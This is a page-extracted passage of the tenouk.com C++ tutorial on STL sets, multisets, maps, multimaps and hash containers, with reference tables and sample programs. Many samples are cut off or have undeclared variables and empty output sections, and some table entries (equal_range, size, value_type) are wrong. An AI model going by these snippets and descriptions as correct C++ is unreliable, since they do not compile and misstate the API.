- Note that both value_compare and key_compare are synonyms for the template parameter
Traits. Both types are provided for the set and multiset classes, where they are identical, for
compatibility with the map and multimap classes, where they are distinct.
//set, value_comp()
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int, less<int> > st1;
set <int, less<int> >::value_compare vcom1 = st1.value_comp();
bool result1 = vcom1(5, 9);
if(result1 == true)
{
cout<<"vcom1(5,9) returns value of true, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}
else
{
cout<<"vcom1(5,9) returns value of false, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}
Output:
Note:
www.tenouk.com Page 21 of 29
- For other associative containers, program examples as shown before will not be presented again, except
the containers constructor, because they are similar.
- You can try on your own by using the same previous program examples, replace the containers and
keep other codes as it is. Recompile and re run. Start using your own brain and creativity. Be creative
:o).
-------------------------------------------End of set--------------------------------------
---www.tenouk.com---
28.6 Multiset
- A multiset is the same as a set except that duplicates are allowed. Thus, a multiset may contain
multiple elements that have the same value. It can be depicted as follows:
- The elements of a multiset may be multiple and serve as their own sort keys, so keys are not unique.
If the definitions were not unique, then a multimap would be the container of choice.
- The multiset orders the sequence it controls by calling a stored function object of type Compare. This
stored object is a comparison function that may be accessed by calling the member function
key_comp().
- The iterator provided by the multiset class is a bidirectional iterator.
multiset Members
multiset Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the multiset object.
A type that provides a bidirectional iterator that can read a const element in
const_iterator
the multiset.
const_pointer A type that provides a pointer to a const element in a multiset.
A type that provides a reference to a const element stored in a multiset for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the multiset.
A signed integer type that can be used to represent the number of elements
difference_type
of a multiset in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a multiset.
A type that provides a function object that can compare two keys to
key_compare
determine the relative order of two elements in the multiset.
A type that provides a function object that can compare two sort keys to
key_type
determine the relative order of two elements in the multiset.
pointer A type that provides a pointer to an element in a multiset.
reference A type that provides a reference to an element stored in a multiset.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed multiset.
An unsigned integer type that can represent the number of elements in a
size_type
multiset.
The type that provides a function object that can compare two elements as
value_compare
sort keys to determine their relative order in the multiset.
value_type A type that describes an object stored as an element as a multiset in its
www.tenouk.com Page 22 of 29
capacity as a value.
Table 28.12
Table 28.13
- The STL multiset class is used for the storage and retrieval of data from a collection in which the
values of the elements contained need not be unique and in which they serve as the key values
according to which the data is automatically ordered.
- The key value of an element in a multiset may not be changed directly. Instead, old values must be
deleted and elements with new values inserted. The following code is the multiset template class.
template <
class Key,
class Compare = less<Key>,
class Allocator = allocator<Key>
>
Parameters
Parameter Description
Key The element data type to be stored in the multiset.
The type that provides a function object that can compare two element values as sort
Compare
keys to determine their relative order in the multiset. The binary predicate less<Key>
is the default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
multiset's allocation and de-allocation of memory. The default value is
allocator<Key>.
Table 28.14
www.tenouk.com Page 23 of 29
- The STL multiset class is:
▪ An associative container, which is a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides bidirectional iterators to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.
▪ Multiple in the sense that its elements do not need to have unique keys, so that one key value can
have many element values associated with it.
▪ A simple associative container because its element values are its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements. The data type to be used is, instead, specified as a
parameter in the class template along with the comparison function and allocator.
multiset Constructor
- Constructs a multiset that is empty or that is a copy of all or part of some other multiset.
- All constructors store a type of allocator object that manages memory storage for the multiset and that
can later be returned by calling get_allocator(). The allocator parameter is often omitted in the
class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their multiset.
- All constructors store a function object of type Compare that is used to establish an order among the
keys of the multiset and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial multiset, the second specifying the type of
comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used.
- The fourth constructor specifies a copy of the multiset _Right.
- The last three constructors copy the range [_First, _Last) of a multiset with increasing
explicitness in specifying the type of comparison function and allocator.
//multiset, constructor
#include <set>
#include <iostream>
using namespace std;
int main()
{
multiset <int>::iterator mst0_Iter, mst1_Iter, mst2_Iter, mst3_Iter;
multiset <int>::iterator mst4_Iter, mst5_Iter, mst6_Iter;
www.tenouk.com Page 24 of 29
//multiset mst4, a copy of multiset mst1
multiset <int> mst4(mst1);
//-----------------------------------------------------
cout<<"Operation: multiset <int> mst0\n";
cout<<"mst0 data: ";
for(mst0_Iter = mst0.begin(); mst0_Iter != mst0.end(); mst0_Iter++)
cout<<" " <<*mst0_Iter;
cout<<endl;
Output:
www.tenouk.com Page 25 of 29
find() program example
- The return value is an iterator or const_iterator that addresses the first location of an
element with a specified key, or the location succeeding the last element in the multiset if no match is
found for the key.
- The member function returns an iterator that addresses an element in the multiset whose sort key is
equivalent to the argument key under a binary predicate that induces an ordering based on a less than
comparability relation.
- If the return value of find() is assigned to a const_iterator, the multiset object cannot be
modified. If the return value of find() is assigned to an iterator, the multiset object can be
modified.
//multiset, find()
#include <set>
#include <iostream>
using namespace std;
int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;
mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);
mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "
<<*mst1_PIter<<endl;
mst1_PIter = mst1.find(21);
www.tenouk.com Page 26 of 29
//The element at a specific location in the multiset can be
//found using a dereferenced iterator addressing the location
mst1_QIter = mst1.end();
mst1_QIter--;
mst1_PIter = mst1.find(*mst1_QIter);
cout<<"\nThe first element of mst1 with a\nkey matching "
<<"that of the last element is: "
<<*mst1_PIter<<endl;
Output:
//*****listsort.cpp******
//list, sort()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;
ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);
cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}
www.tenouk.com Page 27 of 29
[bodo@bakawali ~]$ g++ listsort.cpp -o listsort
[bodo@bakawali ~]$ ./listsort
Operation: ls1.sort()
After sorting, ls1 data: 9 12 15 31 40 44
Operation: ls1.sort(greater<int>())
Re sort with 'greater than' operation,
ls1 = 44 40 31 15 12 9
//******setcount.cpp*******
//set, count()
//some warning during the compilation
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int> st1;
int i;
st1.insert(1);
st1.insert(2);
st1.insert(1);
i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;
i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;
return 0;
}
//******multisetfind.cpp******
//multiset, find()
#include <set>
#include <iostream>
using namespace std;
int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;
mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);
mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "
<<*mst1_PIter<<endl;
mst1_PIter = mst1.find(21);
www.tenouk.com Page 28 of 29
//If no match is found for the key, end() is returned
if(mst1_PIter == mst1.end())
cout<<"\nThe multiset mst1 doesn't have an element "
<<"with a key of 21"<<endl;
else
cout<<"\nThe element of multiset mst1 with a key of 21 is: "
<<*mst1_PIter<<endl;
mst1 data: 2 6 6 10 14
The first element of multiset mst1 with a key of 10 is: 10
----------------------------------------End of multiset-----------------------------------
---www.tenouk.com---
www.tenouk.com Page 29 of 29
MODULE 29
--THE STL--
CONTAINER PART III
map, multimap, hash_map, hash_multimap,
hash_set, hash_multiset
Note:
Compiled using VC++7.0 / .Net, win32 empty console mode application. Be careful with the source codes than
span more than one line. g++ compilation examples are given at the end of this Module.
Abilities
29.1 map
- A map contains elements that are key and value pairs. Each element has a key that is the basis for the
sorting criterion and a value.
- Each key may occur only once, thus duplicate keys are not allowed.
- A map can also be used as an associative array, which is an array that has an arbitrary index type. It
can be depicted as follow:
- The binary tree of the map and multimap structure can be depicted as follow:
- The iterator provided by the map class is a bidirectional iterator, but the class member functions
insert() and map() have versions that take as template parameters a weaker input iterator, whose
functionality requirements are more minimal than those guaranteed by the class of bidirectional
iterators.
- The different iterator concepts form a family related by refinements in their functionality. Each iterator
concept has its own set of requirements and the algorithms that work with them must limit their
assumptions to the requirements provided by that type of iterator.
- This type of structure is an ordered list of uniquely occurring key words with associated string
values. If, instead, the words had more than one correct definition, so that keys were not unique, then a
multimap would be the container of choice.
- If, on the other hand, just the list of words were being stored, then a set would be the correct container.
If multiple occurrences of the words were allowed, then a multiset would be the appropriate container
structure.
www.tenouk.com Page 1 of 33
- The map orders the sequence it controls by calling a stored function object of type key_compare.
This stored object is a comparison function that may be accessed by calling the member function
key_comp().
- The general format of the map and multimap operation is shown in the following Table.
Map Operation
map<Key, Element> A map that sorts keys with default, less<>(operator <).
map<Key, Element, Operator> A map that sorts keys with Operator.
multimap<Key, Element> A multimap that sorts keys with less<>(operator <).
multimap<Key, Element, Operator> A multimap that sorts keys with Operator.
Table 29.1
map Operators
Operators Description
Tests if the map or multimap object on the left side of the operator is not equal to the map
operator!=
or multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is less than the map or
operator<
multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is less than or equal to
operator<=
the map or multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is equal to the map or
operator==
multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is greater than the map
operator>
or multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is greater than or equal
operator>=
to the map or multimap object on the right side.
Table 29.2
Specialized template
Description
function
Exchanges the elements of two maps or
swap()
multimaps.
Table 29.3
map Classes
Class Description
value_compare Provides a function object that can compare the elements of a map by comparing the
Class values of their keys to determine their relative order in the map.
Used for the storage and retrieval of data from a collection in which the each of the
map Class
elements has a unique key with which the data is automatically ordered.
Used for the storage and retrieval of data from a collection in which the each of the
multimap
elements has a key with which the data is automatically ordered and the keys do not
Class
need to have unique values.
Table 29.4
Typedefs
www.tenouk.com Page 2 of 33
const_pointer A type that provides a pointer to a const element in a map.
A type that provides a reference to a const element stored in a map for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the map.
A signed integer type that can be used to represent the number of elements of
difference_type
a map in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a map.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the map.
A type that describes the sort key object which constitutes each element of
key_type
the map.
mapped_type A type that represents the data type stored in a map.
pointer A type that provides a pointer to a const element in a map.
reference A type that provides a reference to an element stored in a map.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed map.
size_type An unsigned integer type that can represent the number of elements in a map
A type that provides a function object that can compare two elements as sort
value_type
keys to determine their relative order in the map.
Table 29.5
Template class
Description
member function
begin() Returns an iterator addressing the first element in the map.
clear() Erases all the elements of a map.
Returns the number of elements in a map whose key matches a parameter-specified
count()
key.
empty() Tests if a map is empty.
end() Returns an iterator that addresses the location succeeding the last element in a map.
equal_range() Returns an iterator that addresses the location succeeding the last element in a map.
erase() Removes an element or a range of elements in a map from specified positions
Returns an iterator addressing the location of an element in a map that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the map.
insert() Inserts an element or a range of elements into the map at a specified position.
key_comp() Retrieves a copy of the comparison object used to order keys in a map.
Returns an iterator to the first element in a map that with a key value that is equal to
lower_bound()
or greater than that of a specified key.
map constructor, constructs a list of a specific size or with elements of a specific
map()
value or with a specific allocator or as a copy of some other map.
max_size() Returns the maximum length of the map.
rbegin() Returns an iterator addressing the first element in a reversed map.
Returns an iterator that addresses the location succeeding the last element in a
rend()
reversed map.
size() Specifies a new size for a map.
swap() Exchanges the elements of two maps.
Returns an iterator to the first element in a map that with a key value that is greater
upper_bound()
than that of a specified key.
value_comp() Retrieves a copy of the comparison object used to order element values in a map.
Table 29.6
Operator Description
Inserts an element into a map with a specified key
operator[]
value.
Table 29.7
www.tenouk.com Page 3 of 33
- The STL map class is used for the storage and retrieval of data from a collection in which the each
element is a pair that has both a data value and a sort key.
- The value of the key is unique and is used to order the data is automatically. The value of an element
in a map, but not its associated key value, may be changed directly.
- Instead, key values associated with old elements must be deleted and new key values associated with
new elements inserted.
template <
class Key,
class Type,
class Traits = less<Key>,
class Allocator = allocator<pair <const Key, Type> >
>
Parameters
Parameter Description
Key The key data type to be stored in the map.
Type The element data type to be stored in the map.
The type that provides a function object that can compare two element values as sort keys to
Traits
determine their relative order in the map. This argument is optional and the binary predicate
less<Key> is the default value.
The type that represents the stored allocator object that encapsulates details about the map's
Allocator
allocation and de-allocation of memory. This argument is optional and the default value is
allocator<pair <const Key, Type> >.
Table 29.8
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides bidirectional iterators to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.
▪ Unique in the sense that each of its elements must have a unique key.
▪ A pair associative container, because its element data values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.
map Constructor
- Constructs a map that is empty or that is a copy of all or part of some other map.
- All constructors store a type of allocator object that manages memory storage for the map and that can
later be returned by calling get_allocator. The allocator parameter is often omitted in the class
declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their map.
- All constructors store a function object of type Traits that is used to establish an order among the keys
of the map and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial map, the second specifying the type of comparison
function (_Comp) to be used in establishing the order of the elements and the third explicitly
specifying the allocator type (_Al) to be used. The key word explicit suppresses certain kinds
of automatic type conversion.
- The fourth constructor specifies a copy of the map _Right.
- The last three constructors copy the range [_First, _Last) of a map with increasing explicitness
in specifying the type of comparison function of class Traits and allocator.
//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>
#include <iostream>
using namespace std;
www.tenouk.com Page 4 of 33
int main( )
{
//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";
cout<<"mp0 data: ";
for(mp0_Iter = mp0.begin(); mp0_Iter != mp0.end(); mp0_Iter++)
cout<<" "<<mp0_Iter->second;
cout<<endl;
www.tenouk.com Page 5 of 33
cout<<"\nOperation: map <int, int> mp4(mp1)\n";
cout<<"mp4 data: ";
for(mp4_Iter = mp4.begin(); mp4_Iter != mp4.end(); mp4_Iter++)
cout<<" "<<mp4_Iter->second;
cout<<endl;
Output:
-----------------------------------------------------End of map------------------------------------------------
---www.tenouk.com---
29.3 multimap
- A multimap is the same as a map except that duplicates are allowed. Thus, a multimap may contain
multiple elements that have the same key. A multimap can also be used as dictionary.
- It can be depicted as follows:
www.tenouk.com Page 6 of 33
- The iterator provided by the map class is a bidirectional iterator, but the class member functions
insert() and multimap() have versions that take as template parameters a weaker input iterator,
whose functionality requirements are more minimal than those guaranteed by the class of bidirectional
iterators.
- The multimap orders the sequence it controls by calling a stored function object of type
key_compare. This stored object is a comparison function that may be accessed by calling the
member function key_comp().
- The (key, value) pairs are stored in a multimap as objects of type pair. The pair class requires
the header <utility>, which is automatically included by <map>.
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the multimap object.
A type that provides a bidirectional iterator that can read a const element in
const_iterator
the multimap.
const_pointer A type that provides a pointer to a const element in a multimap.
A type that provides a reference to a const element stored in a multimap for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the multimap.
A signed integer type that can be used to represent the number of elements of a
difference_type
multimap in a range between elements pointed to by iterators.
A type that provides the difference between two iterators those refer to
iterator
elements within the same multimap.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the multimap.
A type that describes the sort key object that constitutes each element of the
key_type
multimap.
mapped_type A type that represents the data type stored in a multimap.
pointer A type that provides a pointer to a const element in a multimap.
reference A type that provides a reference to an element stored in a multimap.
A type that provides a bidirectional iterator that can read or modify an element
reverse_iterator
in a reversed multimap.
An unsigned integer type that provides a pointer to a const element in a
size_type
multimap
A type that provides a function object that can compare two elements as sort
value_type
keys to determine their relative order in the multimap
Table 29.9
Member Functions
www.tenouk.com Page 7 of 33
greater than a specified key and to the first element in the multimap with a key that is
equal to or greater than the key.
Removes an element or a range of elements in a multimap from specified positions or
erase()
removes elements that match a specified key.
Returns an iterator addressing the first location of an element in a multimap that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the multimap.
insert() Inserts an element or a range of elements into a multimap.
key_comp() Retrieves a copy of the comparison object used to order keys in a multimap.
Returns an iterator to the first element in a multimap that with a key that is equal to or
lower_bound()
greater than a specified key.
max_size() Returns the maximum length of the multimap.
multimap constructor constructs a multimap that is empty or that is a copy of all or part of
multimap()
some other multimap.
rbegin() Returns an iterator addressing the first element in a reversed multimap.
Returns an iterator that addresses the location succeeding the last element in a reversed
rend()
multimap.
size() Returns the number of elements in the multimap.
swap() Exchanges the elements of two multimaps.
Returns an iterator to the first element in a multimap that with a key that is greater than a
upper_bound()
specified key.
The member function returns a function object that determines the order of elements in a
value_comp()
multimap by comparing their key values.
Table 29.10
multimap Class
- The (key, value) pairs are stored in a multimap as objects of type pair. The pair class requires
the header <utility>, which is automatically included by <map>.
- The STL multimap class is used for the storage and retrieval of data from a collection in which each
element is a pair that has both a data value and a sort key. The value of the key does not need to be
unique and is used to order the data automatically.
- The value of an element in a multimap, but not its associated key value, may be changed directly.
Instead, key values associated with old elements must be deleted and new key values associated with
new elements inserted.
template <
class Key,
class Type,
class Traits=less<Key>,
class Allocator=allocator<pair <const Key, Type> >
>
Parameters
Parameter Description
Key The key data type to be stored in the multimap.
Type The element data type to be stored in the multimap.
The type that provides a function object that can compare two element values as sort keys
Traits to determine their relative order in the multimap. The binary predicate less<Key> is the
default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
map's allocation and de-allocation of memory. This argument is optional and the default
value is allocator<pair <const Key, Type> >.
Table 29.11
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides bidirectional iterators to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.
www.tenouk.com Page 8 of 33
▪ Multiple, because its elements do not need to have a unique keys, so that one key value may have
many element data values associated with it.
▪ A pair associative container, because its element data values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.
multimap Constructor
- Constructs a multimap that is empty or that is a copy of all or part of some other multimap.
- All constructors store a type of allocator object that manages memory storage for the multimap and that
can later be returned by calling get_allocator. The allocator parameter is often omitted in the class
declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their multimap.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the multimap and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial multimap, the second specifying the type of
comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used. The keyword explicit suppresses certain
kinds of automatic type conversion.
- The fourth constructor specifies a copy of the multimap _Right.
- The last three constructors copy the range [_First, _Last) of a map with increasing explicitness
in specifying the type of comparison function of class Traits and allocator.
int main()
{
typedef pair<int, int> Int_Pair;
multimap<int, int>::iterator mmp0Iter, mmp1Iter, mmp3Iter, mmp4Iter, mmp5Iter, mmp6Iter;
multimap<int, int, greater<int> >::iterator mmp2Iter;
www.tenouk.com Page 9 of 33
mmp1_QIter = mmp1.begin();
mmp1_QIter++;
mmp1_QIter++;
multimap <int, int> mmp5(mmp1_PIter, mmp1_QIter);
//--------------------------------------------------------
cout<<"Operation: multimap <int, int> mmp0\n";
cout<<"mmp0 data: ";
for(mmp0Iter = mmp0.begin(); mmp0Iter != mmp0.end(); mmp0Iter++)
cout<<" "<<mmp0Iter->second;
cout<<endl;
Output:
www.tenouk.com Page 10 of 33
---------------------------------------------End of multimap---------------------------------------
---www.tenouk.com---
- The hash table is a data structure for collections but it is not part of the C++ standard library. It is
implementation dependant.
- Libraries typically provide four kinds of hash tables that are hash_map, hash_multimap,
hash_set, and hash_multiset.
29.5.1 hash_map
- The main advantage of hashing over sorting is greater efficiency; a successful hashing performs
insertions, deletions, and finds in constant average time as compared with a time proportional to the
logarithm of the number of elements in the container for sorting techniques.
- The value of an element in a hash_map, but not its associated key value, may be changed directly.
Instead, key values associated with old elements must be deleted and new key values associated with
new elements inserted.
- Hashed associative containers are optimized for the operations of lookup, insertion and removal. The
member functions that explicitly support these operations are efficient when used with a well-designed
hash function, performing them in a time that is on average constant and not dependent on the number
of elements in the container.
- A good designed hash function produces a uniform distribution of hashed values and minimizes the
number of collisions, where a collision is said to occur when distinct key values are mapped into the
same hashed value. In the worst case, with the worst possible hash function, the number of operations
is proportional to the number of elements in the sequence (linear time).
- This type of structure is an ordered list of uniquely occurring keywords with associated string values.
If, instead, the words had more than one correct definition, so that keys were not unique, then a
hash_multimap would be the container of choice.
- If, on the other hand, just the list of words were being stored, then a hash_set would be the correct
container. If multiple occurrences of the words were allowed, then a hash_multiset would be the
appropriate container structure.
- The hash_map orders the sequence it controls by calling a stored hash Traits object of class
value_compare. This stored object may be accessed by calling the member function
key_comp(). Such a function object must behave the same as an object of class
www.tenouk.com Page 11 of 33
hash_compare<Key, less<Key> >. Specifically, for all values _Key of type Key, the call
Traits(_Key) yields a distribution of values of type size_t.
- The iterator provided by the hash_map class is a bidirectional iterator.
Operators
Operator Description
Tests if the hash_map or hash_multimap object on the left side of the operator is not equal
operator!=
to the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is less than
operator<
the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is less than or
operator<=
equal to the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is equal to the
operator==
hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is greater
operator>
than the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is greater
operator>=
than or equal to the hash_map or hash_multimap object on the right side.
Table 29.12
Specialized template
Description
function
Exchanges the elements of two hash_maps or
swap()
hash_multimaps.
Table 29.13
Classes
Class Description
Describes an object that can be used by any of the hash associative containers:
hash_compare
hash_map, hash_multimap, hash_set, or hash_multiset, as a default Traits parameter
Class
object to order and hash the elements they contain.
value_compare Provides a function object that can compare the elements of a hash_map by comparing
Class the values of their keys to determine their relative order in the hash_map.
Used for the storage and fast retrieval of data from a collection in which each element is
hash_map Class
a pair that has a sort key whose value is unique and an associated data value.
hash_multimap Used for the storage and fast retrieval of data from a collection in which each element is
Class a pair that has a sort key whose value need not be unique and an associated data value.
Table 29.14
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the hash_map object.
const_iterator
A type that provides a bidirectional iterator that can read a const
element in the hash_map.
const_pointer A type that provides a pointer to a const element in a hash_map.
A type that provides a reference to a const element stored in a
const_reference
hash_map for reading and performing const operations.
const_reverse_iterator
A type that provides a bidirectional iterator that can read any const
element in the hash_map.
A signed integer type that can be used to represent the number of
difference_type elements of a hash_map in a range between elements pointed to by
iterators.
www.tenouk.com Page 12 of 33
iterator
A type that provides a bidirectional iterator that can read or modify
any element in a hash_map.
key_compare
A type that provides a function object that can compare two sort keys
to determine the relative order of two elements in the hash_map.
key_type
A type describes the sort key object that constitutes each element of
the hash_map.
mapped_type A type that represents the data type stored in a hash_map.
pointer A type that provides a pointer to an element in a hash_map.
reference A type that provides a reference to an element stored in a hash_map.
reverse_iterator
A type that provides a bidirectional iterator that can read or modify an
element in a reversed hash_map.
size_type
An unsigned integer type that can represent the number of elements in
a hash_map.
value_type
A type that provides a function object that can compare two elements
as sort keys to determine their relative order in the hash_map.
table 29.15
Table 29.16
Operator Description
Inserts an element into a hash_map with a specified key
operator[]
value.
Table 29.17
hash_map Class
www.tenouk.com Page 13 of 33
- Stores and retrieves data quickly from a collection in which each element is a pair that has a sort key
whose value is unique and an associated data value.
template <
class Key,
class Type,
class Traits=hash_compare<Key, less<Key> >,
class Allocator=allocator<pair <const Key, Type> >
>
Parameters
Parameter Description
Key The element data type to be stored in the hash_map.
Type The element data type to be stored in the hash_map.
The type which includes two function objects, one of class compare that is a binary
predicate able to compare two element values as sort keys to determine their relative
Traits
order and a hash function that is a unary predicate mapping key values of the elements to
unsigned integers of type size_t. This argument is optional, and
hash_compare<Key, less<Key> > is the default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
hash_map's allocation and de-allocation of memory. This argument is optional, and the
default value is allocator<pair <const Key, Type> >.
Table 29.18
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
▪ Unique in the sense that each of its elements must have a unique key.
▪ A pair associative container, because its element data values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.
hash_map Constructor
- Constructs a hash_map that is empty or that is a copy of all or part of some other hash_map.
- All constructors store a type of allocator object that manages memory storage for the hash_map and
that can later be returned by calling get_allocator. The allocator parameter is often omitted in the
class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their hash_map.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_map and that can later be returned by calling key_comp.
- The first three constructors specify an empty initial hash_map, the second, in addition, specifying the
type of comparison function (_Comp) to be used in establishing the order of the elements and the
third explicitly specifying the allocator type (_Al) to be used.
- The keyword explicit suppresses certain kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_map _Right.
- The last three constructors copy the range [_First, _Last) of a hash_map with increasing
explicitness in specifying the type of comparison function of class Traits and allocator.
//hash_map, constructor
//compiled with visual C++ 7.0
//or VC.Net, some warnings
#include <hash_map>
#include <iostream>
using namespace std;
int main()
{
www.tenouk.com Page 14 of 33
typedef pair <int, int> Int_Pair;
hash_map <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter, hmp6_Iter;
hash_map <int, int, hash_compare<int, greater<int> > >::iterator hmp2_Iter;
//------------------------------------
cout<<"Operation: hash_map <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;
www.tenouk.com Page 15 of 33
for(hmp5_Iter = hmp5.begin(); hmp5_Iter != hmp5.end(); hmp5_Iter++)
cout<<hmp5_Iter->second<<" ";
cout<<endl;
Output:
---------------------------------------------End of hash_map---------------------------------------
---www.tenouk.com---
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the hash_multimap object.
A type that provides a bidirectional iterator that can read a const element in the
const_iterator
hash_multimap.
const_pointer A type that provides a pointer to a const element in a hash_multimap.
A type that provides a reference to a const element stored in a hash_multimap for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element in the
const_reverse_iterator
hash_multimap.
A signed integer type that can be used to represent the number of elements of a
difference_type
hash_multimap in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any element in a
iterator
hash_multimap.
A type that provides a function object that can compare two sort keys to determine
key_compare
the relative order of two elements in the hash_multimap.
A type that describes the sort key object that constitutes each element of the
key_type
hash_multimap.
www.tenouk.com Page 16 of 33
mapped_type A type that represents the data type stored in a hash_multimap.
pointer A type that provides a pointer to an element in a hash_multimap.
reference A type that provides a reference to an element stored in a hash_multimap.
A type that provides a bidirectional iterator that can read or modify an element in a
reverse_iterator
reversed hash_multimap.
An unsigned integer type that can represent the number of elements in a
size_type
hash_multimap.
A type that provides a function object that can compare two elements as sort keys to
value_type
determine their relative order in the hash_multimap.
Table 29.19
Member Functions
Table 29.20
- The container class hash_multimap is an extension of the STL and is used for the storage and fast
retrieval of data from a collection in which each element is a pair that has a sort key whose value need
not be unique and an associated data value.
template <
class Key,
class Type,
class Traits = hash_compare<Key, less<Key> >,
class Allocator = allocator<pair <const Key, Type> >
>
Parameters
Parameter Description
Key The element data type to be stored in the hash_multimap.
Type The element data type to be stored in the hash_multimap.
The type that includes two function objects, one of class Traits that is a binary predicate able to
compare two element values as sort keys to determine their relative order and a hash function that
Traits
is a unary predicate mapping key values of the elements to unsigned integers of type size_t.
This argument is optional, and the hash_compare<Key, less<Key> > is the default value.
www.tenouk.com Page 17 of 33
The type that represents the stored allocator object that encapsulates details about the
Allocator hash_multimap's allocation and de-allocation of memory. This argument is optional, and the
default value is allocator<pair <const Key, Type> >.
Table 29.21
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
